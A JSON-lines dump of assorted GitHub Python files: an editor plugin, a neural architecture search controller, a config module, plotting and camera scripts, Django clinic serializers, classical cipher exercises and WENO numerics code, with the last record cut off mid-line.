+{"seq_id":"11268479151","text":"import sublime\nimport sublime_plugin\nimport string\n\nclass MultiSelectNumbersCommand( sublime_plugin.TextCommand ):\n def run(self, edit):\n view = self.view;\n window = view.window()\n\n def countThoseSelections(pattern):\n view.run_command( 'multi_select_helper', { 'pattern' : pattern } )\n window.show_input_panel('Count Start:Step', '1:1', countThoseSelections, False, False)\n\n\nclass MultiSelectHelperCommand( sublime_plugin.TextCommand ):\n def run( self, edit, pattern ):\n view = self.view;\n pattern = pattern.split( ':' )\n region_index = int( pattern[0] )\n\n for region in view.sel():\n replaceRegion = sublime.Region( region.begin() - 1, region.begin() )\n prevChar = view.substr( replaceRegion )\n if( prevChar == '#' ):\n view.replace( edit, replaceRegion, str( region_index ) )\n region_index = region_index + int( pattern[1] )","repo_name":"miculprogramator/sublimentz","sub_path":"User/add_number_to_multiselects.py","file_name":"add_number_to_multiselects.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"71"} +{"seq_id":"23848546689","text":"#!/usr/bin/env python\n\n\"\"\"\n enas_controller.py\n\"\"\"\n\nfrom __future__ import print_function, absolute_import\n\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom torch.autograd import Variable\n\nfrom .base_controller import Controller\nfrom .controller_helpers import sample_softmax, sample_bernoulli, prep_logits\n\nclass MicroStep(nn.Module):\n step_length = 4\n def __init__(self, num_ins, num_ops, hidden_dim):\n super().__init__()\n \n self.decoder_in_left = nn.Linear(hidden_dim, num_ins)\n self.decoder_op_left = nn.Linear(hidden_dim, num_ops)\n self.emb_in_left = nn.Embedding(num_ins, hidden_dim)\n self.emb_op_left = nn.Embedding(num_ops, hidden_dim)\n \n self.decoder_in_right = nn.Linear(hidden_dim, num_ins)\n self.decoder_op_right = nn.Linear(hidden_dim, num_ops)\n self.emb_in_right = nn.Embedding(num_ins, hidden_dim)\n self.emb_op_right = nn.Embedding(num_ops, hidden_dim)\n \n def init_weights(self):\n self.decoder_in_left.bias.data.fill_(0)\n self.decoder_op_left.bias.data.fill_(0)\n self.decoder_in_right.bias.data.fill_(0)\n self.decoder_op_right.bias.data.fill_(0)\n\n\nclass MicroLSTMController(Controller):\n def __init__(self, input_dim=32, output_length=4, output_channels=2, hidden_dim=32, n_input_nodes=1, \n temperature=1, clip_logits=-1, opt_params={}, cuda=False, **kwargs):\n \"\"\"\n input_dim: dimension of states\n output_length: number of cells\n output_channels: number of operations\n hidden_dim: dimension of internal representations\n n_input_nodes: number of input nodes\n temperature: temperature to scale logits (higher -> more entropy)\n clip_logits: if > 0, clip logits w/ tanh and scale to this size\n opt_params: optimizer parameters\n \"\"\"\n \n super().__init__(**kwargs)\n \n self.input_dim = input_dim\n self.output_length = output_length\n self.output_channels = output_channels\n self.hidden_dim = hidden_dim\n self.temperature = temperature\n self.clip_logits = clip_logits\n \n self.state_encoder = nn.Linear(input_dim, hidden_dim) # maps observations to lstm dim\n self.lstm_cell = nn.LSTMCell(hidden_dim, hidden_dim)\n \n steps = []\n for step_idx in range(output_length):\n step = MicroStep(num_ins=step_idx + n_input_nodes, num_ops=output_channels, hidden_dim=hidden_dim)\n step.init_weights()\n steps.append(step)\n \n self.init_weights()\n \n self.steps = nn.ModuleList(steps)\n self.step_length = MicroStep.step_length\n \n self._cuda = cuda\n self.baseline = None\n self.opt = torch.optim.Adam(self.parameters(), **opt_params)\n \n if cuda:\n self.cuda()\n \n def init_weights(self, init_bound=0.1):\n for param in self.parameters():\n param.data.uniform_(-init_bound, init_bound)\n \n def __call__(self, states, fixed_actions=None):\n lstm_state = (\n Variable(torch.zeros(states.shape[0], self.hidden_dim)),\n Variable(torch.zeros(states.shape[0], self.hidden_dim)),\n )\n \n if self._cuda:\n states = states.cuda()\n lstm_state = (lstm_state[0].cuda(), lstm_state[1].cuda())\n \n lstm_inputs = self.state_encoder(states)\n \n all_actions, all_action_log_probs, all_entropies = [], [], []\n for step_idx in range(self.output_length):\n step = self.steps[step_idx]\n \n layers = [\n (step.decoder_in_left, step.emb_in_left), # left input\n (step.decoder_in_right, step.emb_in_right), # right input\n (step.decoder_op_left, step.emb_op_left), # left op\n (step.decoder_op_right, step.emb_op_right), # right op\n ]\n offset = step_idx * self.step_length\n for (decoder, emb) in layers:\n lstm_state = self.lstm_cell(lstm_inputs, lstm_state)\n logits = decoder(lstm_state[0])\n \n logits = prep_logits(logits, temperature=self.temperature, clip_logits=self.clip_logits)\n \n actions, action_log_probs, entropy = sample_softmax(\n logits=logits,\n fixed_action=fixed_actions[:,offset] if fixed_actions is not None else None\n )\n \n all_actions.append(actions)\n all_action_log_probs.append(action_log_probs)\n all_entropies.append(entropy)\n \n lstm_inputs = emb(actions)\n offset += 1\n \n all_actions = torch.stack(all_actions, dim=-1)\n all_action_log_probs = torch.cat(all_action_log_probs, dim=-1)\n all_entropies = torch.cat(all_entropies, dim=-1)\n \n return all_actions, all_action_log_probs, all_entropies\n\n\n# --\n# ENAS Macro CNN controller\n# !! This should work, but haven't used it yet \n\n# _PRIMES = Variable(torch.FloatTensor([2, 3, 5, 7, 11, 13, 17, 19]))\n# assert _PRIMES.prod().data[0] < 2 ** 32\n\n# class MacroStep(nn.Module):\n# step_length = 2\n# def __init__(self, num_ins, num_ops, hidden_dim):\n# super(MacroStep, self).__init__()\n \n# self.decoder_in = nn.Linear(hidden_dim, num_ins)\n# self.decoder_op = nn.Linear(hidden_dim, num_ops)\n \n# self.emb_in = nn.Linear(num_ins, hidden_dim, bias=False)\n# self.emb_op = nn.Embedding(num_ops, hidden_dim)\n \n# def init_weights(self):\n# self.decoder_in.bias.data.fill_(0)\n# self.decoder_op.bias.data.fill_(0)\n\n\n# class MacroLSTMController(Controller, nn.Module):\n# def __init__(self, input_dim=32, output_length=4, output_channels=2, hidden_dim=32, temperature=1, opt_params={}, cuda=False):\n# super(MacroLSTMController, self).__init__()\n \n# assert len(_PRIMES) >= output_channels, \"len(_PRIMES) > output_channels -- switch to binary coding!\"\n \n# self.input_dim = input_dim\n# self.output_length = output_length\n# self.output_channels = output_channels\n# self.hidden_dim = hidden_dim\n# self.temperature = temperature\n \n# self.state_encoder = nn.Linear(input_dim, hidden_dim) # maps observations to lstm dim\n# self.lstm_cell = nn.LSTMCell(hidden_dim, hidden_dim)\n \n# steps = []\n# for step_idx in range(output_length):\n# step = MacroStep(num_ins=step_idx + 1, num_ops=output_channels, hidden_dim=hidden_dim)\n# step.init_weights()\n# steps.append(step)\n \n# self.steps = nn.ModuleList(steps)\n# self.step_length = MacroStep.step_length\n \n# self._cuda = cuda\n# self.baseline = None\n# self.opt = torch.optim.Adam(self.parameters(), **opt_params)\n \n# if cuda:\n# self.cuda()\n \n# def __call__(self, states, fixed_actions=None):\n# lstm_state = (\n# Variable(torch.zeros(states.shape[0], self.hidden_dim)),\n# Variable(torch.zeros(states.shape[0], self.hidden_dim)),\n# )\n \n# if self._cuda:\n# states = states.cuda()\n# lstm_state = (lstm_state[0].cuda(), lstm_state[1].cuda())\n \n# lstm_inputs = self.state_encoder(states)\n \n# all_actions, all_action_log_probs, all_entropies = [], [], []\n# for step_idx in range(self.output_length):\n# step = self.steps[step_idx]\n# offset = step_idx * self.step_length\n# # --\n# # Sample inputs\n \n# lstm_state = self.lstm_cell(lstm_inputs, lstm_state)\n# logits = step.decoder_in(lstm_state[0])\n \n# actions, int_actions, action_log_probs, entropy = sample_bernoulli(\n# logits=logits,\n# temperature=self.temperature, \n# fixed_action=fixed_actions[:,offset] if fixed_actions is not None else None\n# )\n \n# all_actions.append(int_actions) # Record numeric encoding of k-hot vector\n# all_action_log_probs.append(action_log_probs)\n# all_entropies.append(entropy)\n \n# lstm_inputs = step.emb_in(actions.float()) # Embedding of k-hot vector\n \n# # --\n# # Sample ops\n \n# lstm_state = self.lstm_cell(lstm_inputs, lstm_state)\n# logits = step.decoder_op(lstm_state[0])\n \n# actions, action_log_probs, entropy = sample_softmax(\n# logits=logits,\n# temperature=self.temperature, \n# fixed_action=fixed_actions[:,2 * step_idx + 1] if fixed_actions is not None else None\n# )\n \n# all_actions.append(actions)\n# all_action_log_probs.append(action_log_probs)\n# all_entropies.append(entropy)\n \n# lstm_inputs = step.emb_op(actions)\n \n# all_actions = torch.stack(all_actions, dim=-1)\n# all_action_log_probs = torch.cat(all_action_log_probs, dim=-1)\n# all_entropies = torch.cat(all_entropies, dim=-1)\n \n# return all_actions, all_action_log_probs, all_entropies","repo_name":"bkj/ripenet","sub_path":"controllers/enas_controller.py","file_name":"enas_controller.py","file_ext":"py","file_size_in_byte":9679,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"71"} +{"seq_id":"13427446249","text":"# -*- coding: utf-8 -*-\n# !/usr/bin/env python\n# author:zhuqinhe\n# datetime:2020/09/21 0025 17:40 下午5:40\n\nimport os\nimport threading\n\nimport pymysql\n\nfrom utils import config\nfrom utils.logsuite.logsuite import runlogapi, Logger\n\ncfg = config.Config()\npath = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))\ncfg.set_config(\"./etc/config.ini\")\nprint(\"load:\", path + \"/utils/config.ini\")\n# 日志配置,初始化日志\n# log_config_path = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))+\"/\"+cfg.get(\"LOGSUITE\", \"log_conf_path\")\n# 快照文件配置\ntemplates_path = cfg.get(\"TEMPLATES\", \"templates_path\")\nif not templates_path.endswith('/'):\n templates_path = \"\".join([templates_path, \"/\"])\nif not os.path.exists(templates_path):\n os.makedirs(templates_path)\n\nlog_config_path = cfg.get(\"LOGSUITE\", \"log_conf_path\")\nprint(\"log_config_path:\", log_config_path)\nlog_mode = cfg.get(\"LOGSUITE\", \"log_mode\")\n# 日志组件 1:limit size ; 2:day\nif log_mode == \"1\":\n runlog = runlogapi()\n runlog.loginit(log_config_path, 30)\nelse:\n runlog = Logger(log_config_path)\n\n# data-sync接口\napi_url = cfg.get(\"SYNC-DATA\", \"api_url\")\n\n# 时间间隔\ntime_interval = cfg.get(\"TIME_INTERVAL\", \"time_interval\")\n\n# 上传上报数据\nold_delete_switch = cfg.get(\"REPORT_SEARCH\", \"old_delete_switch\")\nold_delete_day = cfg.get(\"REPORT_SEARCH\", \"old_delete_day\")\nold_delete_day = int(old_delete_day)\n\n# 最早修改时间\nall_update_start_time = cfg.get(\"UPDATE_START_TIME\", \"all_update_start_time\")\n\nall_update_switch = cfg.get(\"UPDATE_START_TIME\", \"all_update_switch\")\n\nincrement_update_start_time = cfg.get(\"UPDATE_START_TIME\", \"increment_update_start_time\")\n\nincrement_update_time_interval = cfg.get(\"UPDATE_START_TIME\", \"increment_update_time_interval\")\n\nall_delete_start_time = cfg.get(\"DELETE_START_TIME\", \"all_delete_start_time\")\n\nall_delete_switch = cfg.get(\"DELETE_START_TIME\", \"all_delete_switch\")\n\nincrement_delete_start_time = cfg.get(\"DELETE_START_TIME\", \"increment_delete_start_time\")\n\nincrement_delete_time_interval = cfg.get(\"DELETE_START_TIME\", \"increment_delete_time_interval\")\n\nelaticsearch_ip = cfg.get(\"ELASTICSEARCH\", \"elaticsearch_ip\")\n\nelaticsearch_port = cfg.get(\"ELASTICSEARCH\", \"elaticsearch_port\")\n\nsuggest_index_alias = cfg.get(\"SEARCH\", \"suggest_index_alias\")\n\nsuggest_index_name = cfg.get(\"SEARCH\", \"suggest_index_name\")[1:-1].split(\",\")\n\nif suggest_index_name == ['']:\n suggest_index_name = None\n\nsuggest_index_type = cfg.get(\"SEARCH\", \"suggest_index_type\")\n\ncast_index_alias = cfg.get(\"SEARCH\", \"cast_index_alias\")\n\ncast_index_name = cfg.get(\"SEARCH\", \"cast_index_name\")[1:-1].split(\",\")\n\nif cast_index_name == ['']:\n cast_index_name = None\n\ncast_index_type = cfg.get(\"SEARCH\", \"cast_index_type\")\n\nelaticsearch_sync_time_interval = cfg.get(\"ELASTICSEARCH\", \"elaticsearch_sync_time_interval\")\n\nelasticsearch_search_index_alias = cfg.get(\"SEARCH\", \"elasticsearch_search_index_alias\")\n\nelasticsearch_search_index_name = cfg.get(\"SEARCH\", \"elasticsearch_search_index_name\")[1:-1].split(\",\")\n\nif elasticsearch_search_index_name == ['']:\n elasticsearch_search_index_name = None\n\nelasticsearch_search_type = cfg.get(\"SEARCH\", \"elasticsearch_search_type\")\n# 发送个数\nNum = cfg.get(\"NUM\", \"num\")\n# 天数周期\nDay_Num = cfg.get(\"NUM\", \"day\")\n# 同步ES个数\nSync_es_num = cfg.get(\"NUM\", \"sync_es_num\")\n\nif Sync_es_num:\n Sync_es_num = int(Sync_es_num)\nelse:\n Sync_es_num = 100\n# 版本\nVERSION = cfg.get(\"VERSION\", \"version\")\n\n# 打开数据库连接\ndb_config = {\n 'host': cfg.get(\"MYSQL\", \"host\"),\n 'port': int(cfg.get(\"MYSQL\", \"port\")),\n 'user': cfg.get(\"MYSQL\", \"user\"),\n 'passwd': cfg.get(\"MYSQL\", \"passwd\"),\n 'charset': 'utf8mb4',\n 'cursorclass': pymysql.cursors.DictCursor\n}\ndb_name = cfg.get(\"MYSQL\", \"db_name\")\nLOCK = threading.Lock()\n","repo_name":"zhuqinhe/ElasticSearch-Java-Python","sub_path":"ElasticSearch-Python/scarecrow/globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"42659391108","text":"import matplotlib.pyplot as plt\nfrom numpy import exp, linspace\n\n# define a range of time values equally spaced from 0 to 500\ntime = linspace(0, 500, 1000)\nnumber = 1000*exp(-time/100) # number of radioactive nuclei left after time t\nplt.subplot(2, 1, 1)\nplt.xlabel(\"Time\")\nplt.ylabel(\"Number\")\nplt.title(\"Radioactive Decay\")\nplt.plot(time, number, \"g-\")\n\nplt.subplot(2, 1, 2)\nplt.xlabel(\"Time\")\nplt.ylabel(\"Log Number\")\nplt.semilogy(time, number)\nplt.title(\"Semilog Plot\")\nplt.grid(True)\nplt.show()","repo_name":"TaanHabchy/CompPhys","sub_path":"subplot.py","file_name":"subplot.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"9591570899","text":"# Dataset Capture Script - By: A14426 - Sat May 27 2023\n\n# Use this script to control how your OpenMV Cam captures images for your dataset.\n# You should apply the same image pre-processing steps you expect to run on images\n# that you will feed to your model during run-time.\n\nimport sensor, image, time\n\nwidth = 96 # Width of frame (pixels)\nheight = 96 # Height of frame(pixels)\n\nsensor.reset()\nsensor.set_pixformat(sensor.GRAYSCALE) # set the pixformat as GRAYSCALE (8bit/pixel)\nsensor.set_framesize(sensor.QVGA) # set the framesize as QVGA 320 X 240\nsensor.set_windowing(width, height) # limit the frame size as 96 x 96\nsensor.skip_frames(time = 2000)\n\nclock = time.clock()\n\nwhile(True):\n clock.tick()\n img = sensor.snapshot() #capture image when clicking play button\n\n print(clock.fps())\n","repo_name":"mpallones/ic-on-tray-data-capture","sub_path":"dataset_capture_script.py","file_name":"dataset_capture_script.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73581307748","text":"def main() -> None:\n countries = (\"Germany\", \"France\", \"Italy\", \"Spain\", \"Portugal\", \"Greece\")\n country_iter = iter(countries)\n\n while True:\n try:\n country = next(country_iter)\n except StopIteration:\n break\n else:\n print(country)\n\nif __name__ == \"__main__\":\n main()","repo_name":"boredsort/any_library_python","sub_path":"itertools/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"31682768103","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\nimport tensorflow as tf\nimport numpy as np\n\n\n# In[4]:\n\n\nepochs = 10\n\n\n# In[11]:\n\n\nclass DenseUnit(tf.keras.Model):\n def __init__(self, filter_out, kernel_size):\n super(DenseUnit, self).__init__()\n self.bn=tf.keras.layers.BatchNormalization()\n self.conv= tf.keras.layers.Conv2D(filter_out, kernel_size, padding='same')\n self.concat = tf.keras.layers.Concatenate()\n \n \n def call(self, x, training=False, mask=None): #x: batch, h, w, ch_in\n h = self.bn(x, training=training)\n h=tf.nn.relu(h)\n h=self.conv(h) #h:batch, h, w, filter_output\n return self.concat([x,h]) #batch, h w, ch_in + filter_output\n\n\n# In[6]:\n\n\nclass DenseLayer(tf.keras.Model):\n def __init__(self, num_unit, growth_rate, kernel_size):\n super(DenseLayer, self).__init__()\n self.sequence = list()\n for idx in range(num_unit):\n self.sequence.append(DenseUnit(growth_rate, kernel_size))\n \n def call(self, x, training=False, mask=None):\n for unit in self.sequence:\n x= unit(x, training=training)\n return x\n \n\n\n# In[9]:\n\n\nclass TransitionLayer(tf.keras.Model):\n def __init__(self, filters, kernel_size):\n super(TransitionLayer, self).__init__()\n self.conv= tf.keras.layers.Conv2D(filters, kernel_size, padding='same')\n self.pool = tf.keras.layers.MaxPool2D()\n \n def call(self, x, training=False, mask=None):\n x= self.conv(x)\n return self.pool(x)\n\n\n# In[10]:\n\n\nclass DenseNet(tf.keras.Model):\n def __init__(self):\n super(DenseNet, self).__init__()\n self.conv1 = tf.keras.layers.Conv2D(8,(3,3), padding='same', activation='relu') #28*28*8\n \n self.dl1 = DenseLayer(2,4,(3,3)) #28*28*16\n self.tr1= TransitionLayer(16,(3,3)) #14*14*16\n \n self.dl2 = DenseLayer(2,8,(3,3)) #14*14*32\n self.tr2= TransitionLayer(32,(3,3)) #7*7*32\n \n self.dl3 = DenseLayer(2,16,(3,3)) #7*7*64\n \n self.flatten = tf.keras.layers.Flatten()\n self.dense1 = tf.keras.layers.Dense(128, activation='relu')\n self.dense2 = tf.keras.layers.Dense(10, activation='softmax')\n \n def call(self, x, training=False, mask=None):\n x= self.conv1(x)\n \n x= self.dl1(x, training=training)\n x= self.tr1(x)\n \n x= self.dl2(x, training = training)\n x= self.tr2(x)\n \n x= self.dl3(x, training=training)\n \n x=self.flatten(x)\n x=self.dense1(x)\n return self.dense2(x)\n\n","repo_name":"hyebinkang/Deep_learning","sub_path":"DenseNet.py","file_name":"DenseNet.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"38467418940","text":" # Proyecto: Reewgistro de estudiante\n # Empresa: Pedro Mera\n # Proceso: archivos\n # Recursos://\n\n\n\nfrom dominio.entidades import *\nfrom vistas.registroEstudiante1 import *\nfrom dominio.entidades2 import *\nclass ArchivoD:\n\n def create(self,ruta,registro,modo):\n archivo = open(ruta,modo)\n archivo.write(registro)\n archivo.close()\n\n def getAllPaises(self,ruta):\n lista=[]\n try:\n archivo = open(ruta,\"r\")\n for linea in archivo.readlines():\n tupla = linea.split(\";\")\n obj = Pais(int(tupla[0]),tupla[1],tupla[2],float(tupla[3]))\n lista.append(obj)\n archivo.close()\n except:\n print(\"Error de lectura...\")\n return\n\n def getAllRegistro(self,ruta):\n lista=[]\n try:\n archivo = open (ruta,\"r\")\n for linea in archivo.readlines():\n tupla = linea.split(\";\")\n obj = Usuario(tupla[0],tupla[1],tupla[2],(tupla[3]))\n lista.append(obj)\n archivo.close()\n except:\n print(\"Error\")\n\n def getAllDatos(self,ruta):\n lista = []\n try:\n archivo = open(ruta, \"r\")\n for linea in archivo.readlines():\n tupla = linea.split(\";\")\n obj = Datos(tupla[0], tupla[1], tupla[2], (tupla[3]),tupla[4],tupla[5],tupla[6],tupla[7])\n lista.append(obj)\n archivo.close()\n except:\n print(\"Error\")","repo_name":"Pedro09Mera/Libreria-Tkinter","sub_path":"archivos/archivosD.py","file_name":"archivosD.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"34586520875","text":"from functools import cache\nfrom itertools import product\nfrom math import prod, factorial as fac\nfrom fractions import Fraction\n\n\n@cache\ndef c_j(k, j):\n \"\"\"\n Given a cell at index i and the order of accuracy k, we choose a stencil based on\n r cells to the left and s cells to the right, and cell i itself if r, s >= 0.\n\n r + s + 1 = k.\n\n Given k cell averages,\n\n u_{i - r}, ... u_{i - r + k - 1}\n\n there are constants c_{rj} such that the reconstructed vale at the cell boundary x_{i + ½}\n\n u_{i + ½} = sum(c_{rj} * u_{i - r + j} for j in range(0, k))\n\n is k-th order accurate.\n\n Args:\n\n k: The order of accuracy, greater than or equal to one. Equal to the stencil width.\n j: The zero-based index within the stencil.\n\n Returns:\n A mapping from an integer left-shift of the stencil (r) to coefficients for the jth cell\n in the stencil.\n\n \"\"\"\n if k < 1:\n raise ValueError(f\"Order of accuracy (i.e. stencil width) k ({k}) is not positive\")\n if not 0 <= j < k:\n raise ValueError(f\"Stencil cell index j ({j}) out of range 0 <= j < k with k = {k}\")\n return {\n r: sum(\n Fraction(\n sum(\n prod(r - q + 1 for q in range(0, k + 1) if q not in (m, l))\n for l in range(0, k + 1)\n if l != m\n ),\n prod(m - l for l in range(0, k + 1) if l != m),\n )\n for m in range(j + 1, k + 1)\n )\n for r in range(-1, k)\n }\n\n\n@cache\ndef c_rj(k, r, j):\n \"\"\"\"\n Args:\n k: The order of accuracy, greater than or equal to one. Equal to the stencil width.\n r: The left shift of the stencil in the range -1 <= r < k\n j: The zero-based index within the stencil in the range 0 <= j < k\n\n Returns:\n The coefficient for the cell average at position j with a stencil of order k shifted r\n cells to the right.\n \"\"\"\n try:\n return c_j(k, j)[r]\n except KeyError:\n raise ValueError(f\"r value ({r}) is not in the range -1 to k - 1 where k = {k}\")\n\n\n@cache\ndef c_r(k, r):\n \"\"\"\n Args:\n k: The order of accuracy, greater than or equal to one. Equal to the stencil width.\n r: The left shift of the stencil in the range -1 <= r < k\n \"\"\"\n return [c_rj(k, r, j) for j in range(0, k)]\n\ndef reconstruct_u_i_plus_half(us, i, k, r):\n \"\"\"Reconstruct the state variable u at cell boundary i + 1/2.\n\n Args:\n us: A sequence of cell averages.\n i: The index of the cell for which the right boundary value is to be reconstructed.\n k: The order of accuracy, grater than equal to one. Equal to the stencil width.\n r: The right-shift in cells of the start of the stencil from i.\n \"\"\"\n if not (0 <= r < k):\n raise ValueError(f\"Right shift r ({r}) is not in range 0 <= r < k with k = {k}\")\n return sum(c_rj(k, r, j) * us[i - r + j] for j in range(0, k))\n\n\n# We need to work out the weightd d0, d1, d2 by which the substencils should be multiplied to give\n# the big stencil. Since the weights must sum to one, this is a problem of finding the\n# convex combination of the small stencils which produce the large stencil.\n#\n# We can represent the coefficients of each substencil polynomial as a vector and assemble these\n# vectors into a matrix so that each row of the matrix corresponds to one cell in the big stencil.\n#\n\n# Simple lineaar solver: https://stackoverflow.com/a/31959226/107907\n\ndef gamma(k, n):\n h = 1\n return Fraction(\n ((-1)**(n + k) * fac(n)**2),\n ( h**n * fac(n - k) * fac(k) * fac(2*n))\n )\n\n\n","repo_name":"rob-smallshire/weno","sub_path":"src/weno.py","file_name":"weno.py","file_ext":"py","file_size_in_byte":3660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70469415909","text":"from http.client import FORBIDDEN\nfrom jsonschema import ValidationError\nfrom agendas.models import Agenda\nfrom django.shortcuts import get_object_or_404\n\nfrom medicos.models import Medico\nfrom medicos.serializers import MedicoConsultaSerializer\nfrom usuarios.serializers import ConsultaUsuarioCriadorSerializer\n\nfrom pacientes.models import Paciente\nfrom rest_framework import serializers\nfrom usuarios.models import Usuario\nfrom .models import Consulta\nfrom pacientes.serializers import PacienteConsultaSerializer\n\n\nclass ConsultaSerializer(serializers.ModelSerializer):\n\n paciente = PacienteConsultaSerializer(read_only=True)\n criado_pelo_atendente = ConsultaUsuarioCriadorSerializer(source='usuario', read_only=True)\n medico = MedicoConsultaSerializer(read_only=True)\n \n class Meta:\n model = Consulta\n fields = [\n \"id\",\n 'descricao',\n 'horario',\n 'criado_pelo_atendente',\n 'confirmado',\n 'compareceu',\n 'pago',\n 'paciente',\n 'medico',\n 'criado_em',\n 'atualizado_em',\n 'agenda',\n 'consulta_cancelada'\n ]\n depth = 1\n read_only_fields = [\n \"id\",\n \"criado_pelo_atendente\",\n \"paciente\",\n \"medico\",\n \"criado_em\",\n \"atualizado_em\",\n ]\n\n\n def create(self, validated_data: dict):\n paciente_id = validated_data.pop(\"paciente\")\n usuario_data = validated_data.pop(\"usuario\")\n medico_data = validated_data.pop(\"medico\")\n horario_agenda_data = validated_data.pop(\"horario_agenda\")\n import ipdb\n paciente = get_object_or_404(Paciente, id = paciente_id)\n medico = get_object_or_404(Medico, pk = medico_data)\n usuario = get_object_or_404(Usuario, id = usuario_data.id)\n horario_agenda = get_object_or_404(Agenda, pk= horario_agenda_data)\n\n consulta = Consulta.objects.create(\n **validated_data,\n paciente=paciente,\n usuario=usuario,\n medico=medico,\n agenda=horario_agenda,\n horario=horario_agenda.data_hora_inicial\n )\n \n horario_agenda.agenda = consulta\n horario_agenda.save()\n return consulta\n \n \n\n\nclass ConsultaAgendaSerializer(serializers.ModelSerializer):\n paciente = PacienteConsultaSerializer(read_only=True)\n class Meta:\n model = Consulta\n fields = [\n 'id',\n 'confirmado',\n 'compareceu',\n 'pago',\n 'criado_em',\n 'atualizado_em',\n 'paciente',\n 'consulta_cancelada'\n ]\n\n\n","repo_name":"Clinica-da-gente/Clinica-back-end","sub_path":"consultas/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"36554933758","text":"import codecs\n\nfrom labFirst import sourceText\nfrom labFirst.cryptanalyses import Cryptanalyses\nfrom labFirst.cypher import Cypher\n\n\ndef first_lab():\n # Открытие файла с текстом и преобразование текста для работы с ним\n file = codecs.open('text.txt', 'r', 'utf_8_sig')\n text = file.read().lower()\n text = text.replace('ё', 'е')\n # Создание объекта класса cypher со сдвигом 3 и ключевым словом \"шифровка\"\n cypher = Cypher(3, 'шифровка')\n # Создание объекта класса SourceText, в конструктор которого передан исходный текст\n source = sourceText.SourceText(text)\n # Шифрование исходного текста при помощи метода encrypt_text класса cypher\n encrypted_text = cypher.encrypt_text(text)\n # Создание объекта ��ласса cryptanalyses, в конструктор передается объект класса SourceText и зашифрованыый текст\n cryptanalyses = Cryptanalyses(source, encrypted_text)\n # Расшифровка зашифрованного текста\n print(cryptanalyses.decode_text_with_bigrams())\n\n file.close()\n\n\nfirst_lab()\n","repo_name":"Vasilevsich/informationSecurity","sub_path":"labFirst/firstLab.py","file_name":"firstLab.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"32186685799","text":"from random import shuffle\n\ndef dict_to_list(dictionary):\n\tdictlist=[]\n\tfor key, value in dictionary.items():\n\t #temp = [key,value]\n\t dictlist.append(key)\n\treturn dictlist;\n\ndef removekey(d, key):\n r = dict(d)\n del r[key]\n return r\n\ndef count_concidences(Func):\n\tcount = {}\n\tfor i in Func:\n\t\tif i in count:\n\t\t\tcount[i] += 1\n\t\telse:\n\t \t\tcount[i] = 1\n\treturn count;\n\ndef encrypt(key):\n\tshuffle(key)\n\ndef read_data(data_type):\n\tletters = []\n\t#READ DATA\n\tfor i in range(30):\n\t\ttry:\n\t\t\topen_file = str(data_type)+str(i)+str('_crypt.txt')\n\t\t\twith open(open_file, 'r') as data:\n\t\t\t\tletters_in_text.append(data.read())\n\t\t\t\tavailable_variants.append(i)\n\t\texcept:\n\t\t\tpass\n\n\t#SPLITTING A TEXT INTO LETTERS\n\tfor i in range(len(letters_in_text)):\n\t\tletters += letters_in_text[i]\n\tprint(len(letters), ' quantity of letters')\n\tcount = count_concidences(letters)\n\n\t#REMOVE NON_DICTIONARY CHARACTERS \n\tfor key, value in count.items():\n\t\tif key in ABC:\n\t\t\tpass\n\t\telse:\n\t\t\tcount = removekey(count, key)\n\t\n\t#SORTING LETTERS BY APPEARANCE FREQUENCY\n\tkeys_sorted = {k: v for k, v in sorted(count.items(), key=lambda item: item[1])};\n\tprint(keys_sorted, ' letters appearance frequency')\n\treturn keys_sorted, letters_in_text;\n\n\ndef substitution_of_letters(letters_in_text, keys_sorted, FrequentlyUsedLetters ,type_of_proccessing):\n\tchange_letters = {}\n\t#CHANGING LETTERS WITH FREQUENTLY APPEARING ONES\n\ti=len(FrequentlyUsedLetters)-1\n\tfor key, value in keys_sorted.items():\n\t\tchange_letters[key] = FrequentlyUsedLetters[i]\n\t\ti-=1\n\tfor k in range(len(letters_in_text)):\n\t\tletters_list = list(letters_in_text[k])\n\t\tfor i in range(len(letters_list)):\n\t\t\tif letters_list[i] in ABC:\n\t\t\t\tletters_list[i] = change_letters[letters_list[i]]\n\t\t\telse:\n\t\t\t\tpass\n\n\t\t#DATA STORAGE\n\t\tfile_name = str(type_of_proccessing)+str(available_variants[k])+str('_crypt.txt')\n\t\ttext_with_changed_letters.append(\"\".join(letters_list))\n\t\tfile = open(file_name,'w')\n\t\tfile.write(text_with_changed_letters[k])\n\t\tfile.close()\n\n#DICTIONARY AND DATA INITIALIZING\nABC = ['а', 'б','в', 'г','д','е','ё', 'ж','з', 'и', 'й','к', 'л','м', 'н','о','п','р', 'с','т', 'у','ф', 'х','ц', 'ч','ш', 'щ','ъ', 'ы','ь', 'э','ю', 'я']\ndelta, old_letters, new_letters, possible_shifts, letters_in_text, available_variants, words = [], [], [], [], [],[], []\ntext_with_changed_letters = []\n\ntype_of_proccessing = input('type_of_proccessing (encrypt/decrypt): 